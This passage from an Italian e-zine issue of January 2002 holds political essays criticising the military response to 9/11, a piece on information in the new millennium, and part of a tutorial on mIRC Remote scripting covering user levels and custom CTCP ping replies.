parte della nostra distorsione a vedere il male negli | | altri e non vederlo in noi stessi, poiché noi riteniamo che quello che | | stiamo facendo é giusto e sacrosanto perché la ragione, e la civiltà | | stanno dalla nostra parte. In nome di questa ragione e civiltà noi | | usiamo la forza perché se non la usassimo ci sentiremmo più deboli nei | | confronti di chi ci ha fatto del male. Questo nostro modo di reagire lo | | si può vedere nel singolo individuo: un uomo che subisce uno schiaffo | | risponde con un pugno, quindi in grande noi assistiamo alla logica della | | nostra incapacità a risolvere i nostri antichi problemi di sangue, con | | la sola risposta che abbiamo perpetrato da sempre; di reagire con la | | stessa logica omicida dell'aggressore affermando però che | | nell'autodifesa non c'é omicidio ma c'è giustizia. Ma ritorniamo al | | nostro tribunale. In un mondo civile il tribunale e la sede dove vengono | | processati e giudicati gli individui che infrangono la legge della | | civile convivenza; dal più piccolo al più efferato delitto tutti gli | | imputati hanno diritto di difendersi, poiché é scritto nel codice penale | | di tutti o quasi tutti i paesi che tutti gli imputati anche quelli che | | commettono i crimini più atroci hanno il diritto a un giusto processo. | | Quello che é accaduto l'11 settembre naturalmente ha fatto orrore a | | tutti quelli che hanno una coscienza, e un cuore, ma proprio perché chi | | ha una coscienza e un cuore credo si debba fare un salto di qualità | | nella risposta che dobbiamo dare ad ogni barbaro atto sanguinario. | | Secondo me la risposta di bombardare un paese non può che essere in | | contraddizione al tribunale giuridico che i paesi civile si sono dati | | per processare chi non sta alle regole della civile convivenza. Quello | | che sta accadendo in questi giorni tragici, non rispecchia la logica del | | diritto e della giustizia, ma più che altro e una risposta dettata dalla | | paura e dalla rabbia, la ragione e la civiltà non centrano nulla. Noi | | rispondiamo a un crudele atto di barbarie con la stessa logica dei | | terroristi che vorrebbero farsi giustizia con il sangue. | | Una civiltà non può mettersi sullo stesso piano di chi uccide una | | persona o settemila persone anche perché le forze in campo sono di gran | | lunga sproporzionate, giacché un elefante non può farsi intimidire da un | | ratto anche se questo e portatore della peste più nera. | | Quello che sta avvenendo e davvero poco intelligente per gente che | | dovrebbero governare questo pianeta, perché come si può pensare di | | distruggere il terrorismo quando per 50 anni abbiamo avuto sotto gli | | occhi un conflitto che non si é ancora risolto perché Ebrei e | | palestinesi usano da sempre le stesse violenze da entrambe le parti? | | L'uomo intelligente avrebbe tenuto conto di questa tragica esperienza | | che e sotto gli occhi di tutti, invece di far tesoro di una simile | | tragedia rischiamo di riprodurre la stessa logica che usano i | | palestinesi e gli ebrei da 50 anni , tale logica a portato a migliaia di | | morti ambo le parte e non ha risolto nulla: il terrorismo non é morto | | anzi é arrivato fino alle torri di New York. Qualcuno dirà che non sono | | la stessa cosa, sta di fatto che quel conflitto in medio oriente e il | | vulcano dove si alimentano tutti i terrorismi poiché dove non c'è | | giustizia prima o poi nascono i mostri della violenza cieca. Oggi noi ci | | scandalizziamo con orrore per quella cieca violenza, ma bisogna | | chiedersi perché siamo arrivati a questo orrore? E giusto e sacrosanto | | piangere e indignarsi con rabbia, ma se noi non facciamo una | | autocritica profonda poiché quello che ci distingue dalla barbarie dei | | terroristi dovrebbe essere l'intelligenza e la coscienza, quindi se si | | usasse veramente l'intelligenza si capirebbe benissimo quali sono i | | metodi da usare contro il terrorismo, invece noi ci siamo fatti | | trascinare dalla paura, e con la paura non si può ragionare bene perché | | in questo momento la parte emotiva a prevalso sulla parte razionale. | | Mostrare i poderosi muscoli e passare al contrattacco poteva | | servire in passato quando si facevano le guerre tradizionali dove gli | | uni contro gli altri si fronteggiavano in battaglia, oggi secondo me si | | sta facendo un grossissimo errore perché si sta facendo il gioco dei | | terroristi perché i terroristi sapevano benissimo che quando avrebbero | | compiuto la loro missione suicida ci sarebbe stata la reazione di tutto | | il mondo al loro massacro. | | Noi quindi ci stiamo comportando come loro volevano per far vedere | | al loro mondo non al nostro che i veri barbari siamo noi. Un gesto che | | avrebbe fatto scalpore al mondo musulmano sarebbe stato quello di | | contrapporre alla violenza non aerei pieni di bombe, ma aerei pieni di | | viveri per la Vita e non bombe per la morte. | | Un gesto simile qualcuno lo vedrebbe come una debolezza, una | | rinuncia, una vigliaccheria nei confronti di chi invece usa il | | terrore. | | Io credo che un mondo ricco potente come il nostro, deve cambiare il suo | | atteggiamento e usare strumenti nuovi che potrebbero sembrare assurdi e | | deplorevoli da chi ha subito la violenza, ma una civiltà deve essere una | | civiltà in tutto e deve prendersi le proprie responsabilità impopolari | | di fronte a atti tremendi che la vogliono distruggerla . | | La via che stiamo percorrendo non é una via di civiltà, poiché se | | non si rispettano gli imputati anche se questi hanno fatto cose orribili | | come possiamo pretendere che gli altri ci rispettino? La giustizia va | | garantita in tutto il mondo, e non secondo a chi ci piace noi chiudiamo | | gli occhi per i nostri sporchi interessi di parte. | | Porgere l'altra guancia non e un atto di vigliaccheria poiché una | | civiltà che possiede i mezzi di distruzione di massa deve anche capire | | che il mezzo più potente per scoraggiare la violenza e far vedere il | | meglio di noi stessi non il peggio di noi stessi. La differenza tra | | l'europa e l'america sta nella propria storia, gli americani per | | risolvere i loro problemi di violenza usano metodi di pena che l'europa | | ha bandito per sempre perché una barbarie come un omicidio non può | | essere giudicato con altra barbarie come la pena di morte. | | Quello che é successo l'11 settembre non é diverso dalla violenza che | | ogni giorno dilaga in tutto il mondo, non sono i numeri ha farci | | inorridire poiché una morte orribile di una donna fatta a pezzi da un | | serial killer non può essere diversa da tanti esseri viventi innocenti | | orribilmente mutilati e bruciati dentro quelle torri gemelle di New York | | o del pentagono. | | Qualsiasi violenza che l'uomo fa ad un altro uomo deve essere | | processata, giudicata e condannata con i metodi della civiltà del | | diritto e della giustizia. Io credo che se vogliamo veramente debellare | | la violenza, dobbiamo andare in profondità e capirne le cause, poiché se | | ci limitiamo a reprimerla e spazzarla via con la pena di morte | | continueremo a essere ciechi di vendetta più che di giustizia e | | conoscenza. | | In questo momento noi ci comportiamo come la scienza medica fa nei | | confronti di un tumore, usando i metodi della repressione del male, | | poiché per distruggere un tumore bisogna sradicarlo e ucciderlo perché | | solo nella sua morte il paziente può vivere. Questa logica non é diversa | | dalla guerra, poiché se c'è un nemico bisogna distruggerlo per non | | essere distrutti; In questo caso, i terroristi talebani sono il tumore | | maligno e noi siamo la cura, e per debellare il tumore usiamo gli | | strumenti della lotta ai tumori poiché avendo paura del tumore noi | | vogliamo distruggerlo con tutti i mezzi repressivi senza però riflettere | | del perché c'è venuto un tumore? | | Quello che si sta sbagliando in questa tragica situazione, e di | | focalizzare tutto sulla parte malata e trascurare invece quello che | | potrebbe accadere a tutto il corpo. Noi siamo convinti che l'unica via e | | quella di bombardare i terroristi o chi li protegge, facendo questo | | crediamo che prima o poi questo tipo di intervento darà il risultato che | | i terroristi saranno annientati. Chi pensa questo non vuole andare alla | | radice delle cose, ma vuole solo stare in superficie acchiappando il | | ladro, lo stupratore, l'assassino, ecc. ecc. perché se andasse in | | profondità scoprirebbe il marcio che non vuol portare a galla perché si | | metterebbero in discussione le radici stesse delle proprie fondamenta | | educative che generano la violenza. | | Tutto quindi deve rimanere in superficie, così i terroristi sono | | dei criminali, dei pazzi, dei fanatici, che bisogna eliminare dalla | | faccia della terra. Nessuno direbbe mai che un governo democratico che | | inquina l'aria, che inquina l'acqua, che distrugge le foreste, sia un | | governo di criminali, poiché tutto viene giustificato al proprio | | tornaconto individuale e collettivo. Nessuno dice che quello che | | facciamo ogni giorno e un crimine contro questo pianeta, noi diciamo che | | i terroristi sono dei pazzi, e dei criminali, ma noi non diciamo a noi | | stessi che siamo i responsabili della desertificazione, | | dell'inquinamento, del buco dell'ozono, e quindi siamo dei pazzi | | criminali perché continuiamo a fregarcene della terra, poiché nessuno | | sente l'atrocità che si sta facendo contro la stessa casa dove abitiamo | | tutti. | | Noi esseri umani stiamo distruggendo questo pianeta, e nessuno piange | | o inorridisce, poiché siamo incapaci di sentire di vedere al di là di | | noi stessi, perché noi sentiamo la nostra sofferenza e non sentiamo la | | sofferenza degli altri. Quello che sta accadendo non é nato dal caso, e | | frutto di quella sofferenza che per troppo tempo non abbiamo sentito, | | era li davanti a noi, e noi non sentivamo perché avevamo altre cose | | nella nostra testa per placare la nostra sofferenza con ogni cosa che il | | mercato delle emozioni ci offriva, e non avremmo mai creduto che un | | giorno l'inferno piombasse in casa nostra. Oggi così siamo spaventati, | | angosciati, e diciamo a noi stessi; perché? perché ci odiano tanto? | | cosa abbiamo fatto di male per meritarci questa catastrofe immane? | | Tutti noi adesso abbiamo paura, il nostro mondo rischia un collasso | | economico sociale perché pochi barbari ci hanno attaccato nel cuore del | | nostro impero civile che credevamo invincibile. Il fattore umano a | | prevalso su quello tecnologico poiché a nessuno sarebbe venuto in mente | | che qualcuno potesse sacrificare la propria vita andandosi a schiantare | | contro i simboli della sicurezza; quella economica, quella militare e | | quella dell'autorità politica. | | Adesso non c'è più sicurezza su niente perché il nemico della civiltà | | potrebbe colpire in ogni momento e il suo messaggio di morte é stato | | esplicito, così tutti o quasi tutti si aggrappano a quelle autorità che | | prima criticavano o applaudivano, perché adesso la priorità assoluta e | | distruggere il terrore con ogni mezzo, militare ed economico, e devo | | dire che ci stiamo riuscendo alla grande, perché i dispacci dal fronte | | del pentagono dicono che tutto sta procedendo secondo i piani che le | | autorità costituite hanno messo in atto per far fronte a questa nuova | | emergenza planetaria. | | Noi cittadini, dobbiamo così stare alle loro parole che sarà fatto | | quel che sarà fatto per il bene della nostra civiltà e quella musulmana. | | Dicono quindi che non sarà una guerra di religione ma solo una guerra | | contro dei fanatici criminali che seguono un pazzo miliardario di nome | | Bin Laden. Costui invece di fare come i suoi colleghi capitalisti che | | se la godono alla grande vivendo nel lusso più sfrenato, costui vive | | invece come un barbone e proclama agli infedeli e ai corrotti una guerra | | santa. | | A noi questa cosa potrà sembrare assurda e persino ridicola visto che | | siamo entrati nel terzo millennio, poiché per noi che viviamo nel | | benessere e opulenza quel pazzo che é comparso sui teleschermi di tutto | | il mondo va solo annientato perché il suo e solo un delirio | | farneticante. | | Ma noi non dobbiamo vederla dal nostro punto di vista ma dal punto | | di vista dei musulmani che non vivono nella bambagia come noi, quindi | | per loro Bin Laden e un miliardario che non parla dal palazzo sontuoso | | ma parla seduto per terra mettendosi al loro livello di povertà | | eliminando così tutte le gerarchie terrene e innalzando solo quella di | | Dio onnipotente. | | Questa magistrale operazione simbolica mette in atto un meccanismo di | | identificazione che può innescare in tutto il mondo islamico non nelle | | classi alte ma nella stragrande massa di esseri umani che vivono per | | terra come Bin Laden e questo noi che siamo persone colti e | | intelligenti non ne abbiamo colto l'importanza, poiché stiamo | | combattendo un nemico che ci conosce bene giacché lui ha vissuto tra noi | | e si serve dei nostri stessi strumenti per farci la guerra. | | Dobbiamo capire che Bin Laden non é uno stupido ne un pazzo, perché | | se fosse pazzo dovrebbe essere più curato che giustiziato, ma siccome i | | confini della normalità e della pazzia sono sottili, quello che lui sta | | facendo e il modo estremistico di difendere un mondo in cui lui crede | | ciecamente. Nella sua logica politico religiosa c'è un fanatismo dettato | | da un desiderio frustrante di tutti i Barabba di voler realizzare il | | proprio sogno di scacciare gli infedeli e i oppressore dalla propria | | terra. Per lui noi siamo l'impero Romano che ha invaso la sua terra, | | questo per noi é inaccettabile é incomprensibile ma bisogna entrare | | nella testa dei Barabba per capirne il progetto per noi fanatico ma per | | il Barabba Bin Laden e il sogno della sua vita. | | Per non fargli realizzare il suo sogno dovevamo spiazzarlo con una | | mossa non prevedibile come la guerra, ma una mossa a cui lui non | | avrebbe mai pensato; quella di capovolgere tutti i dettami della guerra | | facendo l'opposto della guerra inviando sull'Afghanistan il più grande | | aiuto umanitario mai realizzato nella storia umana. Questo sarebbe stato | | il mezzo più efficace per sconvolgere i piani di Bin Laden poiché solo | | la vita può fare aprire gli occhi a chi vede in Bin Laden un | | liberatore, noi invece gli abbiamo fatto un regalo immenso che lui | | sapeva di ricevere poiché siamo riusciti a farci odiare ancora una volta | | perché a noi interessa Caino vivo o morto a costo di far scoppiare la | | fine del mondo. | | con cuore | | BRUNO FRANCHI | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #05 - 14/01/2002 | | UN GR0SS0 DUBBi0 [Il Magnano] 0x19/0x23 | +--------------------------------------------------------------------------+ | | | Non ci sono ragioni per nessuno. | | Le due civilta' piu' violente tali rimangono. | | L'una in modo sfrontato ed insolente, l'altra (NOI!) in modo subdolo | | e bifronte. | | Cio' che l'Occidente sta facendo al mondo dal dopoguerra all'oggi per | | ripagare i danni causati per secoli in tutto il globo e' solo un inizio. | | Ma l'inizio di questa ennesima guerra dimostra quanto la Civilta' | | occidentale, che si proclama Libera e aperta, e spesso lo e', (senza | | limiti per le merci, molti piu' per gli uomini) sia di fondo | | Vendicativa e Violenta,sempre disposta alla Mobilitazione con l'immagine | | superficiale del rigore democratico e con la presenza Pervasiva ed | | onnipotente dell'Economia, che giustifica ed autogiustifica tutto. | | A che servono, vien da domandarsi, tutti i Manuali di Storia, di | | Sociologia e quant'altro quando poi la Memoria dei governanti ricchi e' | | occlusa dal Business e dalla soffocante. | | Politica del Controllo e della Security ?????????? | | Un'Occidentale quasi totalmente soffocato dal Materialismo, dalla | | prepotenza. | | Arrogante del cosidetto Libero Mercato, libero solo nella forma e | | totalmente schiavo e schiavizzante nella Sostanza. Ma tant'e', inutile | | menarsela. Non se ne vede l'utilita'. | | Dalla riflessione occorre passare all'azione. Squarciare questa ovatta | | falsa e subdola !!!!!! | | Per non finire, al declino totale della nostra civilta', che | | purtroppo finira' proprio per mancanza di una vera coscienza. | | Buon Lavoro a tutti noi, al Vero Lavoro. | | | | uzala17@hotmail.com | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #05 - 14/01/2002 | | iNF0RMAZi0NE E C0N0SCENZA PER iL NU0V0 MiLLENNi0 | | [Virgilio Violo] 0x1A/0x23 | +--------------------------------------------------------------------------+ | | | Lo scenario mondiale del terzo millennio, salvo imprevisti, vede | | l' individuo sempre piu' cosciente della globalita' terrestre e grande | | fruitore di tempo libero in quanto tecnologia e fonti d'energia | | sostituiranno sempre piu' la forza lavoro. Si potra' lavorare ovunque, | | in campagna come al mare, collegandosi via internet o antenna | | satellitare e cosi' via, cosa che del resto gia' sta avvenendo. | | Le autostrade telematiche impereranno ed il regno del "bit", la piu' | | piccola unita' di informazione in informatica e del "watt", l'unita' di | | misura dell'energia elettrica, spodesteranno quello del petrolio. | | Siamo insomma alle soglie di una nuova era i cui primi effetti | | destabilizzanti hanno avuto inizio gia' nel '68 con la contestazione | | giovanile, sono poi continuati piu' prepotentemente con l'ondata che ha | | travolto il muro di Berlino, ed i suoi fautori, e condurranno l'uomo in | | una realta' diversa: quella del "vivere locale e del pensare globale". | | | | | | La massa d'informazione sara' enorme ed il problema potrebbe essere | | quello di saper discernere il vero dal falso. Con l'aiuto della | | tecnologia fruibile da chiunque e a buon mercato si potrebbe diffondere | | qualsiasi notizia, vera o falsa che sia. | | Diremmo allora che il vero problema potrebbe consistere | | nell'affidabilita' della fonte ma non e' cosi'. L'informazione non sara' | | prerogativa di pochi addetti ai lavori, non avra' piu' questa | | caratteristica. La veridicità, o meno, degli eventi sarà confermata da | | una "cascata", ovvero da una miriade di messaggi che confermeranno o | | meno questi ultimi. la "trasparenza" degli accadimenti sara' totale, | | l'elemento discordante, falso, verrebbe inesorabilmente scartato. | | In poche parole, la societa' civile sta riconquistando, senza colpo | | ferire, la sovranita' sull'informazione. | | Ci sarebbe molto da dire su questa "..ancora oggi, in molte parti del | | mondo e' monca, sebbene sia l'unica via idonea per poter riconciliare il | | popolo con i propri governanti. | | L'operaio comprenderebbe le decisioni del ministro, l'operatore | | ecologico quelle del suo sindaco e cosi' via", la societa' sarebbe meno | | lontana dalla gestione del bene pubblico. | | | | Con gli elementi certi che abbiamo, e continuando la nostra proiezione | | nel prossimo millennio, pensiamo che ai governanti non sara' piu' | | possibile mentire: saranno posti sotto stretta sorveglianza e dovranno | | riflette l'autentica coscienza della societa', ovverosia gli effettivi | | valori etici e morali della collettivita'. | | Ne scaturisce che il nuovo potere della classe dirigente sara' dato da | | una delega popolare basata su un'informazione esatta, trasparente, | | scevra da pericolosi monopoli. Nonostante il balbettio, questa nobile | | arte ha gia' regalato all'essere umano una dignità che non ha eguali | | nella storia: l' ha alleviato nel dolore e nella sofferenza, lo ha | | tolto dall'ignoranza, e quindi dalla sudditanza, e gli ha insegnato ad | | essere artefice del proprio destino. | | | | Ma se trasparenza e informazione sono la formula vincente, cio' non | | basta: il sostantivo e l'attributo sarebbero un modo neutro di intendere | | la realta' se non vi coniugassimo i nostri bisogni interiori, le nostre | | aspirazioni, il nostro istinto di sopravvivenza, il nostro modo di | | percepire la vita. Abbiamo nelle nostre mani una tecnologia sempre piu' | | sofisticata, un poderoso strumento a doppio taglio che puo' essere | | usato per il male o per il bene, annullare le nostre aspirazioni o | | agevolarle, dipende dall'uomo. Ecco, cosi', che entra in ballo lo stato | | di coscienza di quest'ultimo, ovverosia il grado di consapevolezza dei | | fini e del valore delle sue azioni, indipendentemente dal suo credo. | | | | Quale il futuro ruolo dell'operatore dell'informazione? Se la societa' | | e' arrivata all'attuale livello di maturita', lo si deve essenzialmente | | all'opera di divulgazione degli operatori dell'informazione che hanno | | permesso all'uomo, alle volte donando la propria vita, di confrontarsi | | con la propria coscienza. Ecco cosi' che, anche se la trasparenza | | nell'informazione e' regina per l'obiettivita' dei fatti, lo stato di | | coscienza è re nel guidare l'uomo nel fine e nei valori in cui crede. | | Questo ha rivestito, riveste e rivestira' sempre un ruolo centrale, | | correlato alla storia dell'umanità. | | | | | | di Virgilio Violo | | (free lance international press) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #05 - 14/01/2002 | | GUiDA SUL MiRC SCRiPTiNG [PARTE TERZA] [[]_CyBeRPuNK_[]] 0x1B/0x23 | +--------------------------------------------------------------------------+ | | | La Sezione Remote. | | La sezione Remote e' accessibile tramite Tools/Remote/... . Sicuramente | | la parte piu' avanzata di mIRC, e' possibile eseguire cose, con la | | sezione Remote di mIRC, che solitamente richiedono tecniche di | | programmazione avanzata o speciali software di bot... | | | | Cose del tipo: offerta di file (una lista XDCC); risposta a specifici | | messaggi sul canale o in privato; risposte CTCP personalizzate; | | impostazione di vari livelli utente per i vostri amici; ...prati amente | | ogni cosa accade su IRC puo' ricevere una risposta automatica e questa | | risposta puo' utilizzare praticamente tutti i comandi di mIRC. | | | | La sintassi della Remote puo' essere a volte un po' complicata ma, si | | tratta di una semplice estensione dei formati spiegati precedentemente | | per le sezioni Aliases e Popups. Se si sono ben apprese qu lle sezioni, | | comprese le Stringhe, allora e' possibile procedere. In caso contrario, | | tornare indietro e si leggano (o rileggano) le Sezioni alias e popup. Le | | informazioni presentate in quelle sezioni sono ASSOLUTAMENTE DA IMPARARE | | prima di provare la sezione Remote. | | | | È anche importante ricordare perche' la Remote e' chiamata Remote. La | | sezione Remote e' disegnata per rispondere a cio' che viene eseguito da | | utenti DIVERSI da voi stessi -- in effetti, reagisce agli av enimenti | | che accadono su IRC e consente agli altri di "controllare in remoto" la | | vostra sessione mIRC. Tutto secondo le funzioni che si implementeranno | | nella Remote. Molti esempi non possono venire | | rovati inviando semplicemente i comandi o digitando i testi da voi | | stessi. Devono venire inviati da altri clienti o essere cose che | | accadono su IRC. | | | | La sezione Remote opera in maniera strettamente collegata con la sezione | | Users. Nella sezione Remote si definiranno gli Scripts per le persone | | della sezione Users. Ogni User della vostra lista Users puo' ricevere | | uno o piu' livelli. Questi livelli determinano a quali eventi un utente | | puo' accedere o che cosa accade quando un utente esegue determinata | | cosa. Nella sezione (Remote) Scripts e' possibil definire come mIRC | | debba reagire agli avvenimenti che accadono su IRC, nei CTCP e nelle | | linee di (Raw) Event. Di base la lista utenti remoti, le variabile e gli | | script vengono salvati nel file remo e.ini. | | | | Utenti Remoti (Remote Users.) | | In mIRC si selezioni Tools/Remote/ per aprire l'Editor di mIRC. Quindi | | ci si assicuri di selezionare la sezione Users. In questa sezione e' | | possibile assegnare i vari livelli utente. È possibile asse nare | | determinati livelli ai vostri amici, altri livelli ai vostri "nemici" | | (e' possibile creare quella che viene chiamata una "shit list") ed una | | serie di livelli ospiti nel mezzo. | | | | Perche' e' cosi' importante? Supponiamo che si desideri scrivere un | | Evento Remoto allo scopo di fare un kick su chiunque dica la parola | | "nonsense" sul vostro canale (sostituite questa parola con qualsi si | | cosa vi venga in mente).Vedremo come far cio' in seguito ma, per ora, e' | | solo l'idea che e' importante. Suona ragionevole no? | | | | OK, ma forse desiderate che SOLO gli utenti normali vengano "kikcati" | | per aver pronunciato "nonsense." Vorreste che i vostri amici venissero | | semplicemente avvertiti. E magari vorreste semplicemente | | gnorare la cosa per i vostri piu' cari amici. Ed inoltre se non vi | | interessa troppo di qualcuno magari vorreste fare un kick ED UN ban per | | aver detto "nonsense"! | | | | Per fare tutte queste cose (fornire una differente risposta a persone | | differenti) occorre impostare una lista utenti. Per ciascun utente si | | dovra' specificare il nick o l'indirizzo e il livello utent che si | | decide di assegnare ad essi. | | | | Ecco un esempio di una lista utenti valida: | | | | | | 1:nick1 | | 1:nick2 | | 2:nick3!account3@machine.subnet.net | | 2:*!account4@machine.subnet.com | | 3:*!*@machine.subnet.edu | | 4:*!*@*subnet.edu | | 5:*!account@*.subnet.edu | | 10:vostronick!vostroaccount@vostramachine.net | | | | I numeri scelti per i livelli utente sono completamente liberi. È | | possibile decidere cosa ciascun numero di livello utente possa o non | | possa fare come si vedra' nelle prossime due sezioni. Di base mI C | | assegna a ciascuno non elencato nella lista utenti il livello 1. (In | | funzione dell'impostazione in Tools/Remote/Options/'Default user level'. | | | | Se si specificano livelli differenti per utenti diversi occorreranno | | comandi ed eventi che abbiano reazioni diverse per gli utenti di questi | | livelli... Tutto cio' verra' spiegato successivamente... | | | | Come si vede, sono permessi sia un nick che un indirizzo. Sono permesse | | anche le wildcard (caratteri jolly). Vi sono alcuni casi nei quali si | | potra' specificare un utente due volte, sia per nick che | | er indirizzo. | | | | Non e' necessario modificare tutto manualmente... e' possibile | | utilizzare sia la finestra di Edit di mIRC io la linea di comando con i | | comandi /auser, /guser e /ruser. | | | | /auser /auser {livello} {nick o indirizzo} | | 'Auser' (Aggiungi user) aggiunge qualsiasi nick o indirizzo alla user | | list al livello specificato. Questo comando non verifica la validita' | | dell'indirizzo. Il nick o l'indirizzo verranno aggiunti esa | | tamente come sono stati scritti. | | | | /guser /guser {livello} {nick} [tipo] | | 'Guser' (Acquisisci user) aggiunge un nick alla user list specificandone | | l'indirizzo. Per poter far cio' mIRC esegue un /whois sul nick indicato | | ed aggiunge alla user list l'indirizzo restituito dal | | omando. Cio' significa che il nick indicato deve essere presente su IRC | | affinche' si possa utilizzare il comando /guser per aggiungerlo alla | | lista. Specificando il 'tipo' mIRC ha la possibilita' di agg | | ungere l'utente con diversi tipi di indirizzi con caratteri jolly. Si | | tratta dello stesso parametro 'tipo' utilizzato dal comando /ban. Si | | digiti un valore compreso fra 0 e 9 (si veda oltre). | | | | /ruser /ruser {nick o nick! o address o nick [tipo]} | | 'Ruser' (Rimuovi user) rimuove un nick o un indirizzo dalla User list. | | Affinche' il comando funzioni occorre conoscere esattamente il nick o | | l'indirizzo indicato nella User list. Se qualcuno e' indica | | o come nick!blabla@whatever.net e' possibile anche utilizzare "/ruser | | nick!". Si ricordi di inserire "!" per rimuovere l'intera linea. In mIRC | | e' stato realizzato una versione avanzata del comando /ru | | er che puo' funzionare come i comandi /ban e /guser. /ruser {nick} | | [tipo] se NON si specifica un tipo il comando opera come sempre | | rimuovendo il nick specificato dalla user list. Se si SPECIFICA un t | | po allora il comando verifica l'indirizzo utente e lo rimuove dalla user | | list. | | | | Nota: Utilizzando differenti tipi di indirizzo consente di specificare | | una persona o un intero gruppo di persone utilizzando un diverso numero | | di caratteri jolly. Ecco i diversi risultati... | | | | Se non si indica un tipo allora, viene utilizzato il tipo 6: | | | | Kreet!*vonck@Wit399402.student.utwente.nl | | | | tipo 0; *!vonck@Wit399402.student.utwente.nl | | tipo 1; *!*vonck@Wit399402.student.utwente.nl | | tipo 2; *!*@Wit399402.student.utwente.nl | | tipo 3; *!*vonck@*.student.utwente.nl | | tipo 4; *!*@*.student.utwente.nl | | tipo 5; Kreet!vonck@Wit399402.student.utwente.nl | | tipo 6; Kreet!*vonck@Wit399402.student.utwente.nl | | tipo 7; Kreet!*@Wit399402.student.utwente.nl | | tipo 8; Kreet!*vonck@*.student.utwente.nl | | tipo 9; Kreet!*@*.student.utwente.nl | | | | Un ultima nota; È ora possibile usare una parola come livello utente, ad | | esempio: | | | | | | mircop:*!*@mardam.demon.co.uk | | | | La quale puo' essere utilizzata con gli eventi come: | | | | | | on mircop:JOIN:#mirc:/mode $chan +o $nick | | | | mIRC mantiene un archivio interno delle persone presenti sui canali su | | cui vi trovate. Questo archivio viene utilizzato per velocizzare | | notevolmente le prestazioni di comandi tipo /ban, /guser e /ru er. | | Questi comandi solitamente fanno eseguire a mIRC un /whois sulla persona | | indicata nel comando. La lista interna memorizza informazioni del tipo | | nick!user@address per tutti gli utenti che si trov no sugli stessi | | *canali* su cui vi trovate. Quando viene eseguito un comando /guser, | | /ruser, /ban, /finger, /ignore o /dns, viene eseguita per prima cosa una | | ricerca nella lista interna per trovare | | 'indirizzo del nick specificato. Se non viene trovata alcuna | | corrispondenza allora, viene eseguito un normale /whois. Cio' velocizza | | moltissimo i ban... specialmente se siete "laggati"... La 'Interna | | Address list' viene attivata sotto 'Tools/Remote/Options'. Ponetela a | | ON! | | | | Remote Scripts - Comandi CTCP. | | In mIRC si selezioni Tools/Remote/ per aprire l'Editor di mIRC. Qui e' | | possibile impostare come mIRC debba reagire alle cose che avvengono | | attorno a voi su IRC. Sono possibili due distinti gruppi di | | eazioni; reazioni ai comandi CTCP e reazioni agli Events (Eventi). IN | | questo paragrafo sono trattati i comandi CTCP. | | | | Introduzione - I comandi Remoti fanno riferimento ad un particolare tipo | | di comandi: i comandi CTCP.CTCP sta per Client To Client Protocol | | (Protocollo Cliente-Cliente). Le linee di comando Remote CT P permettono | | di fa eseguire a mIRC una sola singola cosa -- permettono di far si che | | mIRC risponda ai comandi CTCP inviati da altri utenti nel modo da voi | | desiderato. | | | | Vi sono molti comandi ctcp definiti secondo la RFC di IRC (comandi | | standard). I piu' utilizzati sono version, ping, time, userinfo, | | clientinfo e finger. Ogni cliente IRC rispondera' in maniera standar | | quando riceve uno di questi comandi. Questi comandi ctcp vengono inviati | | da o verso di voi nel formato: | | | | | | /ctcp {vostronick} {comando con eventuali parametri} | | | | Consideriamo il semplice esempio di un ping. L'altro utente scriverebbe: | | | | | | /ctcp {vostronick} ping | | | | Volendo potete inviare a voi stessi comando di ping! Provate! Si digiti | | "/ctcp {vostronick} ping". | | | | In circostanze normali, mIRC inviera' la risposta standard al ping [ctcp | | nick pong]. Ma, tramite le linee di Remote e' possibile ridefinire il | | tipo di risposta al ping. È possibile fare praticamente q alsiasi cosa | | quando si riceve un ping. e sopra ogni cosa e' possibile inviare la | | normale risposta al ping. Oppure non inviarla. Dipende da voi. Vi e' UNA | | eccezione a cio'... non e' possibile nascondere | | a risposta di mIRC alle version.... Sapete, ci piace il messaggio | | pubblicitario.... | | | | È possibile creare anche dei nuovi comandi CTCP e le risposte per essi. | | Ecco come vengono gestite le funzioni del tipo di offerta di file (XDCC | | LIST e SEND). | | | | Per ora, torniamo al nostro esempio sul ping. | | | | Esempio: Risposta al Ping Personalizzata | | | | Si vada in Tools/Remote e si controlli sotto il menu 'View' se e' gia' | | presente un file di nome comandi.ini o ctcps.ini. Se presente, si | | selezioni il file e si aggiungano e/o si correggano le linee di questo | | file. In caso contrario, si apra il menu File e si selezioni 'New' per | | creare un nuovo script. Ci si assicuri che sotto "Listening" sia | | selezionato l'elemento CTCP. (Quando gli elementi sotto "Listening" non | | sono attivati i comandi Remote ed i CTCP vengono ignorati.). | | | | Ora si inserisca questo esempio all'interno dello script gia' esistente | | o in quello nuovo. | | | | | | ctcp 1:ping:/notice $nick ping? Hmmm! ...pang pang pang!! | | | | Ora se qualcuno fa un ping su di voi, la vostra risposta sara' "ping? | | Hmmm ! ... pang pang pang !!" tramite un notice inviato alla persone che | | ha eseguito il ping, il tutto assieme alla normale rispo ta: 'pong'. | | | | Lo si provi dando il comando "/ctcp {vostronick} ping" Se non dovesse | | funzionare assicurarsi che mIRC sia in ascolto dei comandi Remote CTCP. | | Si attivi cio' dando il comando "/remote on" e/o "/ctcps | | n". | | | | Se si desidera che mIRC -non- restituisca la risposta al ping standard | | dopo la vostra risposta personalizzata e' possibile bloccare il processo | | standard tramite il comando /halt. Lo si usi come | | | | | | ctcp 1:ping:/notice $nick ping? Hmmm! ...pang pang pang!! | /halt | | | | Cio' esegue la stessa cosa di prima con la differenza che non viene | | inviata la risposta al ping standard. Ancora una volta, provatela per | | vedere la differenza! | | | | Supponiamo che abbiate provato le due risposte spiegate precedentemente | | e che siate riuscite a farle funzionare, analizziamo un po' la sintassi | | utilizzata e quindi torneremo all'esempio precedente p r capire | | _perche'_ fa cio' che fa. | | | | Sintassi dei comandi Remote CTCP. | | | | I comandi Remote, ad eccezione di alcuni casi particolari, sono formati | | da 3 parti. Ciascuna di queste parti e' separata da un due punti (:). La | | sintassi generale e': | | | | | | ctcp {livello_comando}:{comando_ctcp}:{comando/i_attivato/i con | | eventuali parametri} | | | | Analizziamo le singole parti una ad una: | | | | ctcp | | Indica a mIRC che cio' che segue e' la definizione di un comando ctcp | | (comando Remote comando). {livello_comando} | | Questo comando rispondera' a un utente con un livello uguale al livello | | del comando ed agli utenti con livelli piu' alti, a meno 